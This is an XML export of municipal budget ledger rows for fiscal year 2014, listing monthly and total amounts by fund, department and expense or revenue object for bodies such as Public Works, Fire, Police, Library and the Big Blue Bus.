<row _id="10671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40775.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40775.0</total></row>
<row _id="10672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3185.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3185.0</total></row>
<row _id="10673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16402.0</july><august>0</august><september>0</september><october>0</october><november>-972.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15430.0</total></row>
<row _id="10674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>269473.0</july><august>0</august><september>0</september><october>0</october><november>-20568.0</november><december>4153</december><january>891.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>253949.0</total></row>
<row _id="10675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2381.0</total></row>
<row _id="10676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="10677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2196.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2196.0</total></row>
<row _id="10678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="10679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404082.0</object><object_description>INTEREST - PROP 1B-BUSES</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-43430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43430.0</total></row>
<row _id="10680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>30</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30.0</total></row>
<row _id="10681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26071.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26071.0</total></row>
<row _id="10682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4949.0</july><august>0</august><september>0</september><october>0</october><november>-70.0</november><december>76</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4955.0</total></row>
<row _id="10683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="10684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6273.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6273.0</total></row>
<row _id="10685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-150000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="10686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9600.0</total></row>
<row _id="10687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>410882.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-225.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>410657.0</total></row>
<row _id="10688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9441.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>101</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9542.0</total></row>
<row _id="10689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>94</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7745.0</total></row>
<row _id="10690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522850.0</object><object_description>SPECIAL PROJECTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>260000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>260000.0</total></row>
<row _id="10691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2700.0</total></row>
<row _id="10692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-58867.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-58867.0</total></row>
<row _id="10693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>462170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>462170.0</total></row>
<row _id="10694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>47747.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47747.0</total></row>
<row _id="10695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7638.0</total></row>
<row _id="10696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>223438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>223438.0</total></row>
<row _id="10697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="10698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>543.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>543.0</total></row>
<row _id="10699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2359.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2359.0</total></row>
<row _id="10700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="10701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24155.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24155.0</total></row>
<row _id="10702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>556.0</total></row>
<row _id="10703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577580.0</object><object_description>BEACH / PIER REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162285.0</total></row>
<row _id="10704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>376.0</total></row>
<row _id="10705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401610.0</object><object_description>LIBRARY CAFE RENT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="10706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401100.0</object><object_description>VIDEO ARCHIVE/WEB HOSTING SVC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6670.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6670.0</total></row>
<row _id="10707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36063.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36063.0</total></row>
<row _id="10708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>556.0</total></row>
<row _id="10709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>247961.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>3505</december><january>8840.0</january><february>-16174</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>244132.0</total></row>
<row _id="10710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4496.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>60</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4556.0</total></row>
<row _id="10711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28146.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>320</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28466.0</total></row>
<row _id="10712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13150.0</july><august>0</august><september>0</september><october>0</october><november>4806.0</november><december>258</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18214.0</total></row>
<row _id="10713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>800</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21713.0</total></row>
<row _id="10714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>146</december><january>225.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11599.0</total></row>
<row _id="10715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>851</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10056.0</total></row>
<row _id="10716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>103</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10016.0</total></row>
<row _id="10717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11269.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>69</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11338.0</total></row>
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<row _id="10719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>67</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11105.0</total></row>
